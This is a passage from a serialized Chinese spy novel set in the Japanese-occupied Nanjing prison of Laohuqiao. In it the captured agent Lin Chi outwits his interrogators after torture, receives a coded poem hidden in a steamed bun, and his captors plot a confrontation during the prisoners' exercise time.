李泉的脸上洋溢着复仇后的快意,激动得近乎于忘情,一副酣畅淋漓的样子。他手中的烙铁在林赤的皮肤上足足停留了五六秒钟,直到烙铁的艳红逐渐转淡并消失,这才收手,恶狠狠的眼神转瞬间变换成嘲笑。 谁让你林赤得罪我了呢? 空气中很快弥漫着烧焦羽毛的气味。 就这么一会儿功夫,林赤的脑袋上沁满大颗大颗的水珠,已经分不清到底是水还是汗。 一番挣扎后,林赤像是霜打的茄子一般,整个身体无力地倒挂着,在空中慢慢悠悠地摆动…… 渡边挥了挥手,身旁的助手立即会意,将林赤从空中放了下来。 林赤被架到刑椅上,他委顿地倚在椅子上,脑袋完全低垂。 李泉急功好勇,先于渡边走到林赤的身旁,刚刚自己的最后一击,李泉发现林赤的嚣张气焰已然全无,现在正是更好表现自己的机会,也是挽回颜面的大好时机,倘若自己率先介入,稍加盘问,说不定林赤会说点什么有用的东西,这功劳显然要记在他李泉的头上,因而,黑木将军必定对他另眼相看。 李泉浑然忘却了耳朵的疼痛,用身子抵开两位狱警,低下头问道:“林兄弟,这滋味不好受吧?” 恍惚中,林赤又听到李泉的声音,他极力抬起头,看了李泉一眼。 “你要知道,这是老虎桥监狱,如果你不抱有和皇军合作的态度,那也只有上帝可以救你。”李泉又道。 林赤努力地坐正身体,冷冷地道:“你的耳朵还疼吗?” 这一说,李泉又感觉到耳朵传来的剧痛,浇灭的火焰又复燃起来,一把抓住林赤的头发,把他的脑袋抬高了些许,气急败坏道:“你就是条疯狗!只会咬人的疯狗!” 林赤已经没有力气挣扎,将脑袋顺势靠在椅背上,讥讽道:“要说狗,你当之无愧,你要记住,你给日本人做事,永远就是一条狗,这辈子也当不回人了,不信咱们可以做个试验。” “你只是个囚犯,你有什么资格和我做试验?” “狗永远只能摇尾乞怜,没有做人的尊严,没有做人的自信!” 李泉怒气渐盛,已不管身后的上司对自己的看法,抬手毫不犹豫给了林赤一记响亮的耳光,尚还觉得不过瘾,换了右手给林赤的左脸颊又来了一记。 这两记耳光用力很重,林赤的嘴角马上渗出鲜血。 “哈哈,你睁大眼睛好好看看,到底谁是狗?”李泉一边啸叫一边又是一记耳光。“这个世界,只有人打狗,没有狗打人!” “你到底是人是狗,我马上就可以验证给你看,我让你看看你的真面目!”林赤说着扭头挣脱着李泉的制约,目光扫过渡边,嘶声喊道:“渡边小姐……” 渡边雪奈正津津有味地聆听着二人的对话,听到林赤喊她,心中不由得惊奇,在林赤身旁站定,问道:“林先生,你叫我?是不是有话说?” 本小章还未完,请点击下一页继续阅读后面精彩内容!林赤道:“是的,我想告诉你一些我所知道的……” 李泉心中欣喜,以为自己的这一番作为已收效,忙抢先道:“快说!”说完紧紧盯着林赤的那张嘴,希望从那张嘴中赶紧可以吐露出点什么。 渡边没想到这一刻来得这么容易,不免有些意兴阑珊,少了很多乐趣,但还是略感惊喜,趋步上前,生怕林赤反悔,飞快地把李泉的手甩开,伸手托起林赤的下巴,仔细端详着林赤的眼睛,带有一丝柔意问道:“林先生,我在呢,你快告诉我吧!” 林赤努力挤出一缕笑容,说道:“我知道很多秘密,这些都是你们费尽心机想了解的,不过……”林赤忽然收声。 渡边半天听不到下文,焦躁追问:“不过什么?” 此时的黑木也站在林赤的身前,正聚精会神侧耳聆听。林赤把目光掠过黑木,缓缓道:“这位叫李泉的,是我最看不起的人,他是我们民族的败类,可是就在刚才,我被他羞辱了,他打了我三计耳光,这样的举动比要我的命还让我愤怒,我只想提一个小小的要求,只要你们帮我还他三计耳光,让我平衡一下,并了我心愿,我就会告诉你们我知道的!” “不行,你这个要求太过分了!”黑木断然道,“我们大日本皇军怎么可能这样对待自己的朋友?” 李泉没料到林赤会说出这样的话,刚开始内心一阵惊惶,正惴惴不安时忽然听到黑木如此表态,顿时安心下来,怨意转而化成仇恨,恶狠狠道:“别看你年纪不大,心机却很重,你这是想借皇军之手报复我,哈哈,可惜皇军不吃你这一套!” 林赤又把目光递向渡边,说道:“渡边小姐,你认为呢?我现在只剩下对他的恨,只要你们给我出一口恶气,你们就不用再做无谓的折腾,就可以得到你们想要的,这个交易难道不划算吗?” 渡边的脸上布满了狐疑,想了想还是说道:“这是你的阴谋吧,你仅仅是想报复李桑!” “如果连这样的机会你们都不抓住,还怎么从事情报工作?”林赤不屑道,将脑袋扭到一旁,不再看她。 转过脑袋后,听到林赤继续道:“来吧,你们可以继续了,我已经做好了准备,看你们还有什么严酷的刑罚,都向我身上招呼吧,看我会不会屈服?!” 渡边赶紧看黑木,却见黑木把头转到一旁,大步离开了刑讯区,回到原位,端起那杯咖啡轻呷一口,和身侧的武内小声交谈起来。 渡边马上知道该怎么做,再次伸手托起林赤的下巴,把林赤的脑袋硬生生转到自己的面前,试探道:“你刚才所说,是否是认真的?” “大丈夫一言既出驷马难追!,再说,你们又不损失什么,只是委屈了那位李先生,不过,只是三记耳光,又不是要他的命!” 渡边把手从林赤的脸上移开,似乎是下了很大的决心,转身走到李泉身旁。 李泉慌忙高声说道:“渡边小姐,你不要上他的当,这是他的阴谋!他完全是在报复我!” “对,我就是报复你!”林赤脸上游过一丝灿烂的笑容,“李泉先生,你应该感到荣幸才是,要知道这三记耳光,可以换到我心中的秘密,你权当是为你的主子做贡献罢了!” 渡边不断给李泉使眼色,意思是这一切不过是逢场作戏。 林赤忽然有所悟,提高声音道:“不过,这三记耳光,我必须听到清晰的响声。” “就委屈一下李桑,皇军会铭记你的功劳的!”渡边捋起衣袖,忽然觉得这个游戏有点意思,完全符合她此时的心境。 李泉求援的眼神去寻觅黑木的身影,却见他正和典狱长武内次郎滔滔不绝。 “好吧……”李泉先是有气无力,很快呈现出一副大义凛然的样子:“为了皇军,这三记耳光又算什么?即使是赴汤蹈火,我李泉也绝无怨言!” 黑木被李泉的这句话吸引住了,在远处不禁喝彩道:“李桑,你真是皇军大大的朋友!” 这句鼓励立即给李泉带来无穷的勇气,他整个人像是打了鸡血一样,显得亢奋起来:“渡边小姐,你就放手来吧,弄出点响让他听听!” “得罪了!”渡边话一道出,抬手就是一记响亮的耳光。 李泉一个趔趄,好不容易站稳,把身子又向前移了移,已做好了第二记耳光的准备。 渡边停了下来,回头看林赤,见林赤似笑非笑看着他们,便犹豫起来。 “继续啊!渡边小姐!”林赤收回笑容,一本正经道:“还差两记,我记着呢。”林赤说完又看了李泉一眼,却遭遇到了李泉幽怨地眼神,林赤已忘却了周身的不适,以其人之道还治其人之身:“李兄弟,这滋味不好受吧!” 林赤抑制不住心中的快乐,补充道:“现在,你该知道当狗的下场了吧!” 渡边还是怕中了林赤的圈套,索性垂下手臂,问道:“林先生,你刚才所说的话还算数吗?” “当然!”林赤脱口回答,“刚才一记有效,请渡边小姐继续!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第136章 夹着神秘纸团的馒头 接下来的两记耳光清澈响亮,李泉天旋地转。 显然,渡边毫无保留她的气力,她也不想保留,她不想给林赤留下借口,以免他推脱反悔,再生枝节。 李泉捂着脸,怒气冲冲走到林赤面前,喝道:“你这下满意了?现在该你了!” 林赤勉强露出笑容,道:“李兄弟……” 话还没说完,李泉赶紧不耐烦打断道:“我们根本不是一路人,谁是你兄弟!” 林赤把李泉上下又打量了一遍,目光变得阴沉起来。 李泉看出对方不怀好意的样子,心中大惊,生怕他变着法子捉弄自己,连忙未雨绸缪道:“你又在想什么坏点子?我警告你,你不要再起什么幺蛾子!” 林赤面无表情道:“李兄弟,我们虽然不是一路人,但从现在开始,你最好对我客气点,否则不要怪我无义!”林赤咳嗽一声补充道:“日本人对你怎么样,你也看到了,千万别把自己当回事!” “你能拿我怎么样……”李泉心有不甘,极力装作无所谓的样子,但是声音越来越低,最后像蚊虫一般只是嗡嗡作响。 “你这个人就是太愚笨,看不清局势,用你们苏州话说,就是拎不清!” 李泉刚想回应,忽然想起什么,诧异问道:“你怎么会知道我是苏州人?” 林赤鄙夷看了他一眼,“我不但知道你是苏州人,还知道你为了换得荣华富贵,竟然连自己的堂兄弟都出卖了!你这样的人活着和死了又有何区别?” 李泉愣了半天,表情充满惊愕,转瞬间变得恼羞成怒起来,林赤的这番话一下子揭开了他最痛的伤疤。自从供出了李毅后,他的良心一直深受谴责,这成了他心中永远的痛,如今,林赤当众又撕开了这原本即将愈合的伤口,又如何不让他愤急交加? “你还是考虑考虑自己吧,少管闲事为妙!如果你还是这般顽冥不化,就死到临头啦!” “这个结论下得太早了吧……”林赤顿了顿又道:“万一,我一狠心,用我的情报换你的小命,你觉得可不可能?” 李泉大惊失色,林赤所言正是他最担心的,底气已严重不足,蓦然觉得参与审讯是个极大地错误,恨不得马上逃之夭夭。 李泉连强词夺理的勇气也没有了,呐呐道:“林兄弟,你真狠……之所以那样做,我也是逼不得已,您还是不要再和我计较了!”李泉的语气已近乎是祈求。 渡边跻身李泉身前,回头厌恶地瞪了一眼喋喋不休的李泉,厉声道:“废什么话啊,一边去!” 李泉马上如大赦般惶惶退去,临走时还是不忘意味深长地看了林赤一眼,个中深意,有求饶,有哀怜,有期盼!他生怕林赤再提出什么不利于他的条件。 渡边粉墨登场。 紧随渡边而至的是松机关的机关长黑木瞳将军。 “该你了!你是个男人,可不能言而无信!”渡边先堵住了林赤的退路。 “我会信守承诺的!”林赤把微微后仰的脑袋向前移动了些许,淡淡道:“梁洪之是不是派了一名叫周启仁的特使,从北平出发,他是不是来南京城了?” 渡边从他的嘴里听到周启仁的名字,很是惊异,林赤所透露出的这个信息还算准确,于是心想林赤接下来所说的或许有些价值,便靠得更近了,忙不迭声道:“是的,确有其事,他怎么啦?” “我被抓之前,得到情报,有人要刺杀这位特使先生!” 渡边一直侧着脑袋倾听,却见林赤说到这儿,再无下文,不免失落,提高声音追问道:“就这些?还有吗?” “我所知道的就这些。” 渡边恼怒道:“你不是说你会全招?怎么就这点东西?!” “我又何时说过全招?这已经足够了,你还指望获得更多的情报?”林赤揶揄道:“三记耳光只值这么多!再说这么重要的情报只交换三记耳光,我还觉得吃亏呢!” 这句话被不远处的李泉收入耳里,他紧张地前进几步,立即忐忑起来,生怕他再拿更重要的情报提出什么更过分的要求! 林赤却再未提及他,只说道:“咱们的买卖公平合理,各取所需,互不亏欠!” “你这是什么狗屁情报!周启仁已遇刺身亡啦!”渡边已不再矜持,歇斯底里道。 林赤的脸上马上摆出一副吃惊的样子,长长叹息道:“怎么会这样?哦……他居然死了……哎,如果你们早点抓住我就好了,那样的话,也不至于出现这么严重的后果!” 渡边气不可遏,刚要发作,被黑木制止了,黑木来到林赤的面前,和蔼问道:“那我请问林先生,你知道是谁杀了特使先生?” “那我就不晓得了,或许是共产党吧,反正不是我们……周启仁来南京的事我们事先一无所知。” 林赤明显是在撒谎,可黑木却无计可施,这立即让黑木有抓心挠肺之感,对方明明知道一切,却奈何不得,如果可以将其大卸八块,就可以倒腾出他所有的秘密,黑木早就毫不犹豫这样干了,可偏偏这条路行不通,所有的机密均存储在他的脑袋中,看不见摸不着,无影无形…… 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!故而,至少到目前为止,还是需要足够的耐心,才能一切遂愿。 眼前的这位年轻人定是受到过专业训练,不但心理素质极优,抗击打的能力也很强,刑罚的折磨只是让他的身体受到创伤,却丝毫无法动摇他的信念!想到这里,黑木不禁有些气馁,那股凌人的心气一下子被消解了不少。 看来,想撬开他的嘴,还需要从长计议。 黑木尽管内心沮丧,却不露声色,依旧和气地对林赤道:“林先生,今天得罪了,接下来你好好休息一下,我们会很快再次见面的,到时,我希望从你嘴里获得更有价值的东西,你也清楚,我们帝国军人有一个优良传统,那就是不达目的誓不罢休!我希望你好自为之!免得伤了和气!” “我会认真考虑的!”林赤眼中透出满满的感激。 黑木从他幸灾乐祸的神情忽然知道,要让这位林先生很快招供,路还很漫长。 黑木重新整理了一下心情,站在原地思忖片刻,对典狱长武内次郎招了招手。 武内疾步而至。 黑木语重心长吩咐道:“武内君,这位林先生可是我们的贵客,你要好好招待,尽量满足他的要求,我相信总有一天,林先生会有所顿悟的!” …… 林赤被再次押解到十号监房时,午时已过。 押解人员临走时,意外地解开林赤的手铐。 林赤明白,这定是黑木的主意,他开始唱起了白脸,分明是在延续临走时的那番话的意图。林赤还明白,要撬开一个人的嘴,那就必须给他希望,必须抑扬顿挫,刚烈和阴柔并重,不能一贯而为之,也不可一条路走到黑。 显而易见,黑木对上午的这一轮刑罚的收效并不满意,开始转换思路了! 双手重新获得自由后,林赤反而不习惯起来,挥舞了几下手臂后,由于稍用力,林赤忽然感觉到周身剧烈疼痛起来。 头被长时间埋在水里,所带来的窒息感尚在,但并未造成后果,倒是肚皮上的烫伤钻心地疼,只要身体稍一活动,衣服必定碰触到那块伤口,痛感便传遍全身。 林赤小心拉起衣服,发现烫伤处血迹斑驳,透出猩红一片。 在伤口的表面,渗出不少液体。 林赤于是坐在床上小憩。 没坐多久,门外的走廊上忽然传来了脚步声。 走廊上铺的都是水泥地,这脚步声却很轻柔,双脚踩踏在水泥地上只是发出“沙沙”的声响,林赤稍加揣度,便知对方并非脚着皮鞋。 脚步声就越来越近,很快来到监房门前,这时却停了下来。 应该是送牢饭的到了。 很快,林赤听到一串窸窸窣窣的声音,目光尽头,果见监房铁门的下方十数公分高度的空隙中递来一盆饭菜。 对方将饭菜送进,敲了敲铁门算是提醒,旋即离开了。 林赤已经饥肠辘辘。 林赤吃力而小心翼翼地弯腰,取出那盆牢饭。 饭菜明显比早上的第一顿要好得多,一块拳头大小的白馒头,外加一小份干菜烧肉。 艰难地回到床前的桌旁,林赤并未坐下,而是直接开吃。 他贪婪地将七八块肥肉一扫而光,只留下残渍,然后再准备开始吞食馒头。 林赤抓起馒头正欲往嘴里送,突然看到馒头的中间裂开一条缝。林赤举起馒头的手不知不觉收了回来,移至近处细细端详。 这块馒头显然被人掰开过,馒头的正面整齐地陷进去了四根手指印,而背面是两道大拇指印。裂缝不是很宽,但开口却是鼓起的。 此时的林赤已隐约感到这块馒头大有蹊跷,连忙把身子背对大门,双手顺着裂缝将馒头轻轻掰开。 林赤的双眼忽然放出异样的光芒。 馒头的中央,被塞进了一团白色的东西。 林赤两指钳住它,取了出来,竟然是一个很小的白纸团。 林赤将纸团握在手心,并未马上展开,而是蹑手蹑脚走近铁门,在门后静静地谛听了片刻,确信门外无人后才将身子隐在铁门一侧的墙后。 打开纸团,纸条上的一行字即刻跃入了林赤的眼帘。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第137章 献计献策 纸条只有成人巴掌一半大小,来自于普通信笺纸,周边极不规则,显然是手撕下来。上面的字是用黑墨水写的,从字的形态看,字迹苍劲有力。 纸条上只有寥寥数语。 “云端雄放霓虹彩,黑痣眉生凤冠辉。” 林赤看毕,已了然于胸。 他很快将那张纸条塞进嘴里,接着咬了一口馒头,咀嚼着一起咽进肚里。 吃饱后,林赤觉得体力在逐渐恢复,他合衣躺在床上,开始闭目养神。 尽管在不久前刚刚经受了非人的折磨,他的肉体饱经沧桑,但此时的林赤,内心却是激动的。除了激动之外,还裹挟着兴奋和愉悦。 隐隐的,林赤的内心,还荡起另一种感觉,那就是安全感。 在昨天的风雪之夜,林赤在悦颜照相馆佯装抵抗一番,成功击毙击伤对方数人后,林赤弃枪就擒,自他被押上车的那一刻,涌现在他心中的,不是计划得以顺利实施的喜悦,而是一种从未体验过的孤独,这种孤独感很快化成一袭苍凉,在他的周身徐徐铺开,将他淹没……直到他看到了这张纸条,他悬在半空的心才找到了着陆点。 这一切表明,锤子已把林赤开始实施计划的消息用电台通知了已潜入上海的蜂鸟,蜂鸟已得知他计划开始实施,并已认可了他的计划,为此,他已开始调动他的一切资源,极力配合着林赤的这项卧龙计划。 锤子领导的南京情报站,林赤从未听说在老虎桥监狱有这样一个内应的存在。这么重大计划的实施,如果锤子在老虎桥监狱埋伏了棋子,他没有理由不透露给他,一荣俱荣、一损俱损的道理他起码应该懂的。 为了保证卧龙计划的成功,整个核心计划的知情人只有蜂鸟、锤子和林赤三人! 因而可以断定,刚才传送纸条者就是蜂鸟的人,此人乃为老虎桥监狱的一员,否则没有理由让他给囚犯送牢饭!从脚步声听出,此人并非狱警,因为狱警几乎都是清一色的皮鞋,皮鞋着地根本就不会发出“沙沙”的声音,显而易见,此人就是蜂鸟安排的,因为除了锤子和蜂鸟,没有人知道他的下落! 还有,当数天前林赤和蜂鸟在钟山大饭店说了他的计划,蜂鸟曾有意无意透露过他会尽一切所能给予林赤以帮助。当时他曾提到过一人,代号“剪刀”,是复兴社在撤退南京前,在南京布下的一枚棋子。 难道此人就是剪刀? 现在,这个代号可能是“剪刀”的人提供给了林赤一个重要信息,对方由于不了解林赤其人,传递的信息很隐晦,但林赤稍加揣度,便明白他想表达的内容。 “云端雄放霓虹彩,黑痣眉生凤冠辉。” 这句诗前一句暗指的是刘云雄,而后一句,是道出了刘云雄的外貌特征。 刘云雄的眉宇间有一颗黑痣。 营救刘云雄是卧龙计划的一个重要组成部分,这是他们三人早就商定好的,潜伏在老虎桥监狱的这枚棋子必定清楚林赤的来意,他于是在第一时间告知了林赤关于刘云雄的信息。 可是,他怎么才能见到那位被俘的党国少将旅长刘云雄呢? 林赤无计可施,似乎只能坐等机会。 …… 审完林赤,黑木一行并未即刻离开。 好客的典狱长武内次郎让副典狱长陈炳松又准备了好酒好菜,盛情款待来自松机关的黑木将军和渡边少佐。 黑木特地叫上李泉陪同。 审讯林赤期间,渡边给李泉的那三记耳光,黑木一直觉得打在自己的脸上,在李泉向他投射来乞求目光的关键时刻,他故意和武内谈笑风生,刻意回避了李泉的求助,而当时他之所以默许了渡边对他打脸,主要原因是黑木以为,这三记耳光对于李泉而言,并不会伤筋动骨,何况这是形势所逼!但自那以后,细心的黑木发现,李泉就闷闷不乐!黑木一下子领悟,他们已伤害到了他的自尊!所以,黑木一直觉得愧对李泉,这个时候,利用共进午餐的机会抚慰一下他受创的心灵尤为显得必要! 席间,武内次郎和陈炳松频频给黑木敬酒,黑木却显得心不在焉,不时蹙眉沉思。 武内看出黑木还沉浸在刚刚的审讯中,便好奇问道:“将军阁下,您是不是对上午的审讯结果不满意?” 这话一下子说到黑木的心坎里,黑木端起面前的酒杯一饮而尽,轻叹道:“看来,要让他一时半会开口,恐怕不易啊!” 武内连忙接口道:“是啊,看起来这个人信念很强,肉体上的折磨好像不是太有效!” 黑木忧心忡忡道:“他年纪看起来不大,但可以断定,此人一定经过专业训练!” “没错,那样的情形下,他还应对自如,没有丝毫的慌张,依我看来,此人有着过硬的心理素质!”武内附和道,“此外,他竟然一点亏都不愿意吃!” 众人都把眼睛盯着武内,期待他的下文。 武内看了一眼李泉,补充道:“这位李桑只是对他晓以大义,便被他一口咬掉了耳朵……可见此人凶残无比!”武内说着端起酒杯,朝着对面的李泉高声道:“李桑,你的耳朵不碍事吧?” 这章没有结束,请点击下一页继续阅读!“还好!”李泉一副无所谓的样子,也抬起酒杯一饮而尽,喝完后用衣袖抹了抹嘴唇,道了一声谢,然后谦卑道:“为皇军效劳,卑职甘愿肝脑涂地!” 黑木发现李泉依旧神色幽怨。 武内次郎扫视了一下四周,洋洋洒洒继续道:“此人报复心太重,李桑并未做错什么,更别谈得罪他了,是他先发制人伤害了李桑,李桑回敬他几个耳光,这也是情理之中啊!可是,他居然找到报复他的方法,假借渡边小姐之手,回敬了李桑三记耳光,可见此人诡计多端!” 武内话一道出,渡边不乐意了,在她看来,武内的言外之意,是讥笑她中套了,便哼了一声道:“我想请问武内君,如果是你参与审讯,对方提出这样的要求,你答不答应?” 武内方知言多必失,连忙改口:“当然,渡边小姐说得极是,我想任何人都会答应的,毕竟不损失什么……这只能说明,林赤这人不简单!” 黑木适时插话:“我们还是要想方设法弄清他的来路,这样就可以知己知彼!” 渡边生怕被别人接过话茬,抢着道:“将军说得对,如果能够获知他的履历就好了,起码我们可以对症下药,制定一套针对他的刑讯策略!” “可惜了解他的人似乎不多,就连钱瑾余对他的过去也一无所知!”黑木无奈道。 在一旁作陪的的陈炳松一直默不作声,这时斗胆献策道:“将军,如果硬来不行,咱们不妨来点软的?” 黑木夹了一口菜,一边咀嚼一边问道:“陈桑有何高见?” 陈炳松吞吞吐吐回答:“将军,咱们能否感化他?” “不行!还不到时候!”黑木断然否决,“这在我看来,是下下策,如果不用点刚的,我们无法知晓他的底线,也试探不出他的诚意!” 陈炳松想了想,又唯唯诺诺道:“既然从正规途径弄不到他的来历,我们不妨剑走偏锋!” “陈桑快讲!”黑木忽然起了兴趣。 “这位林嫌犯既然曾经是军人,我想总有人见过他,尤其是同身份的军人,所以,我建议找一个放风的机会,让他出现在众人的视线中……” 陈炳松还未说完,武内打断了他,赞叹道:“陈副典狱长的这个主意真好!”说着,武内把眼睛盯着黑木道:“将军有所不知,我们监狱的乙区关押了五六百名敌人的溃军,这些人都曾参与过南京保卫战,他们败退后被我帝国皇军捕获,未杀的现在全部收容在此,他们来自于敌军不同的编制,几乎涉及到所有的敌军守城部队!……所以,我想在放风的时候,让乙区的所有人过目一下,以重获自由为诱惑,安排下去,凡是认识此人者,可以马上出狱!” “我看行!”渡边喝一声彩,思忖片刻,对黑木道:“我认为我们还可以利用放风的机会,好好在暗中细细观察一下这个人,我们可以从他的言行举止来了解并分析这个人!” 听到这儿,黑木脸上终于露出了笑意,他并没有马上表态,而是站起身,举起酒杯,眼睛巡视一圈道:“这杯酒,我敬一下大家,代表我们松机关,也代表我本人,对于在座的诸位表示我真挚的敬意,你们辛苦了!”说完,黑木对众人鞠了一躬。 围坐在圆桌旁的一干人看到黑木敬酒,马上立身,皆将酒杯中的烈酒一口倒进肚里。 待黑木将军率先坐下,其他人才再次入座。 “你们的主意真的很好,让我思路大开!”黑木的脸上布满笑意:“武内君,可以安排林赤放风啦!我倒要亲眼看看他的反应!” 一丝诡异的笑容从黑木的脸上慢慢扩散开来,“是的,只要是个人,他就是个有感情的动物,人总有爱恨情仇,七情六欲的,面对这些纷至沓来的情感,他总得有表示才对啊!” 一众人把期待地目光尽聚焦在黑木身上。 黑木的脸上露出一丝得色,“你们说,假如检举揭发林赤的钱瑾余,在放风的时候邂逅了他,他林赤会是怎样的一副神情?他是笑脸相迎?或是仇人相见?亦或装作视而不见?” 在老虎桥监狱的职员食堂里,忽然传出众人惊诧地赞叹声。 黑木正享受着众人的阿谀奉承,就在这时突然从对面传来一个阴鸷的声音。 黑木定睛一看,正是被林赤咬掉一块耳垂的李泉。 “黑木将军的主意很不错,但我还有其它办法让他开口!”李泉阴沉道。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第138章 放风时间到 黑木迫不及待对李泉道:“李桑请讲!” 李泉几乎是一字一顿道:“这位姓林的嫌犯尽管狡猾,但在我看来,他不是神,他一定有弱点!” 这句话在黑木听来,却没有什么实质性的内容,不免有些失望,又不便拂他好意,什么也没说,就将目光从他身上移开。 黑木正欲和武内继续探讨放风计划,忽然听到李泉提高声音说道:“将军还记得便民烟卷店那件案子?” 黑木不由再次看他,道:“当然记得,李桑想说什么?” “我记得第二天,您安排我冒充锤子前往应天教会医院和林赤见面,在医院中,我见到了他,当时我意外发现他和医院的一位年轻女医生很熟,那位医生姓曲,后来这位曲医生我在利民诊所又见到了她!” 渡边也想起了利民诊所的一幕,跟着对黑木说道:“是的,就是陶天阙开的那家临时诊所,在中山中路上,居然和悦颜照相馆仅相隔一个店面,后来为了良民证的事,我曾经亲自前往,那一天在利民诊所我也在场,就是前几天发生的事……李桑,她怎么啦?” “这不是明摆的?我认为那位曲医生就是林赤的女朋友!” 黑木一下子兴趣盎然起来,追问道:“这是真的吗?” 渡边似乎又想起了什么,不住地点头。“李桑真是个细心的人,我记得在安全区对他鞭笞的那天晚上,刑罚结束后我特地在不远处稍加观察了一下,那位女医生的确表现出和他不一样的关系,甚至对他的安危十分牵挂!” 黑木叫好道:“这的确是个好消息!李桑,你准备怎么办?” 李泉的脸庞上露出一丝阴毒的笑容,咬着牙道:“直接将她抓来就行,至于是不是林赤的女朋友,一审便知,即使错抓,大不了到时再放了,又不损失什么!何况,我隐隐觉得这个女人不简单,她一定大有来头,否则他们俩怎么会打成一片?” “好,这件事就交给李桑去办!”黑木由衷地向李泉投射去赞赏的目光,“你放手去做,不要有任何顾虑,南京自救会的陶会长那里,我会事后打招呼的!” “是,将军!”李泉忽然觉得神清气爽,一扫被林赤羞辱的阴霾,显得很欢快无比的样子。 黑木又叮嘱武内道:“武内君,你这里还是按商定的计划执行,立即着手安排林赤放风,我倒要看看,当钱瑾余和他同时出现在一处时,二人有什么奇妙的反应!” “没问题!”武内大声应道,可蓦然又呈现出担忧之色,“将军,到时万一二人有过激举动,我们该怎么办?” “只要无性命之虞,尽量不要打断他们,给他们充分的时间发挥,因此,下午的放风时间,如果紧迫,可以适当延长放风时间!直到分出胜负!”黑木越想越高兴,沉浸在无限的遐想中,他一直怀疑钱瑾余投降的诚意,既然他直言林赤布置给他的使命就是诈降,那何不利用这样的机会考验一下二人?看看到底谁在说谎! 黑木想着情不自禁起来,饶有兴趣问在座的各位:“你们说,这俩人都是国民政府的特工,都是年富力强之人,他们万一开打起来,你们赌一下,到底谁会赢?” 一时间众说纷纭,有人说是钱瑾余,有人人说是林赤,双方各抒己见,纷纷陈述理由,说钱瑾余的摆出的原因是他身体已经得到休憩,体力定然胜林赤一筹;说林赤会赢的理由是他的身手明显要优于钱瑾余,这是带有技术含量的硬指标,没有偶然,只有必然! 黑木正要陈述自己的看法,这时忽见李泉站起身,脸上堆笑道:“我认为你们大家说得都不对!这件事最后的赢家必定是松机关的黑木将军!” 一众人开始一愣,旋即报以热烈的掌声。 这个人太会说话了,李泉的一番话让他很受用,黑木顿时陶醉其中! 武内从骨子里还是仰仗黑木的,并寄希望得到黑木的推荐或提携,看到一个外邦的卑微角色抢了风头,大为不悦,不禁想起自己的一亩三分地,似乎像李泉这般伶牙俐齿者不是甚多,内心不免落寞。 尽管如此,武内还是想博得黑木将军的好感,继续献策道:“对了将军,上次那个特制的木柜我看效果就很好,咱们不妨也用在这位林赤身上,说不定也有奇效!” 黑木听罢,提筷夹起面前盘中的一块糖醋排骨,缓缓将它塞进嘴里,用舌头和牙齿将排骨上的肉褪下,吐出骨头,意味深长对武内说道:“武内君,饭要一口一口吃,而且需要细嚼慢咽,如果太性急,是不利于消化的!” …… 不知何时,监房里的水滴声消失了。 躺在床上的林赤判断,此时暖阳西斜,应该快临近傍晚时分了,而这个时候,外面的残雪在经过短暂的融雪后,现在开始收冻,大地很快就会变得硬邦邦起来。 唯有寂静依旧。 也不知过了多久,监房外面的走廊里传来的脚步声忽然打破了四周的沉寂。 这章没有结束,请点击下一页继续阅读!紧接着,脚步声临近,听得出是两个人。 来人在林赤的监房铁门前停了下来,很快出现开锁的声音,铁门被缓缓推开,一个狱警模样的人持枪站在门口,另一人走进,来到林赤的床前,从腰间取出手铐,给林赤戴上。 林赤正纳闷间,此人将林赤从床上拽下,嘴里道:“现在是放风时间,你是继续待在房间里,还是跟我出去?” 林赤一言未发,拖着沉重的脚镣,向监房里侧的盥洗间间走去。 “麻烦稍等一下,我解下手。”林赤道。 “请你快速解决!”屋内的狱警一边提醒着一边走向门外,和另一名狱警汇合。二人开始攀谈起来。 从二人的对话可以判断,门外的那名狱警是日本人,而刚出去的这位是名中国人。 几分钟后,林赤从盥洗室走出。三人会合后一起沿着走廊向外走去。 居然还有放风时间,这是林赤压根没想到的。 不知那位刘云雄将军会不会也有此安排?此外,老虎桥监狱的这位自己人会不会就是代号“剪刀”的人?难道这是“剪刀”特地为之?如果是这样,是不是故意让他们相见? 林赤的脑海中又浮现出“剪刀”传递给他的那句诗:云端雄放霓虹彩,黑痣眉生凤冠辉! 想到这儿,林赤不由得低头看了看自己的皮鞋。 林赤脚上的皮鞋一只沾满黄土,而另一只却要稍干净些。看到这儿,林赤不自觉地跺了跺左脚布满黄土的皮鞋。 这只皮鞋上的黄土,显然是昨夜雪地里留下的,这么长时间下来,潮湿的黄土已经干透,如此轻轻一跺脚,皮鞋上的尘土飞扬四散。 林赤这个时候特别想观察一下他的监房斜对面的八号监房,匕首曾通过大华百货店传来情报,刘云雄就被关押在甲区的八号监房。 然而,他们沿走廊行走的方向,竟是向着相反的方向而去。林赤不免有些失望。 林赤在狱警的押解下,沿着走廊大约走了不足一百米,在走廊的南侧,出现了一大片空间,空间的一处角落里,林赤赫然看到一扇铁门。 铁门这时已经洞开,外面的光亮从铁门外洒落进来,伴随着光亮的洒进,林赤还听到来自门外纷扰的嘈杂声。 林赤突然有种别有洞天的感觉。 难道,这就是连接放风的出口? 两位狱警把林赤带到铁门处,那位中国狱警对林赤道:“我宣布一下放风的纪律,放风分上下午两次,上午一刻钟,下午二十分钟,放风时间内,可以自由散步,或者上厕所,当然,你住的是单间监房,不用在公共场合上厕所,但其它的规矩你必须牢记,第一、不许交头接耳;第二、不许大声喧哗;第三、更不允许打架斗殴!记住了没有?” 林赤默默点头。 一出铁门,刺眼的光亮扑面而来,竟让林赤一下子有头晕目眩之感。 午后的太阳已经隐身于西侧的楼顶后。 熙熙攘攘的声浪更是将林赤湮没。 这是一块长度在八十余米、宽度在三十余米的长方形空地,在这块狭长区域的对面,是一栋四层高的楼房,楼房的墙壁上,同样有一扇和林赤这边一模一样的铁门,此时此刻,从那扇铁门处,正纷纷涌出大量的人流,清一色的男性,绝大多数人看起来除了神态委顿外,体格均很健硕。 居然有不少人还是身着党国的军服,只是这些军服看起来多数已经残破! 林赤看到这里,内心大为震撼,在南京的老虎桥监狱,居然还有如此多数量的被捕获的党国军人!林赤稍稍估计了一下,有五六百人之多。 在这片区域的中央地带,是一间小型房子,林赤从门口川流不息的人群可以判断,那便是厕所。 而在这块空地的西侧,是一面高达十数米笔直的砖墙,砖墙上面是密布的铁丝网,砖墙连结的天台上,有五六名荷枪实弹的守卫在警戒。 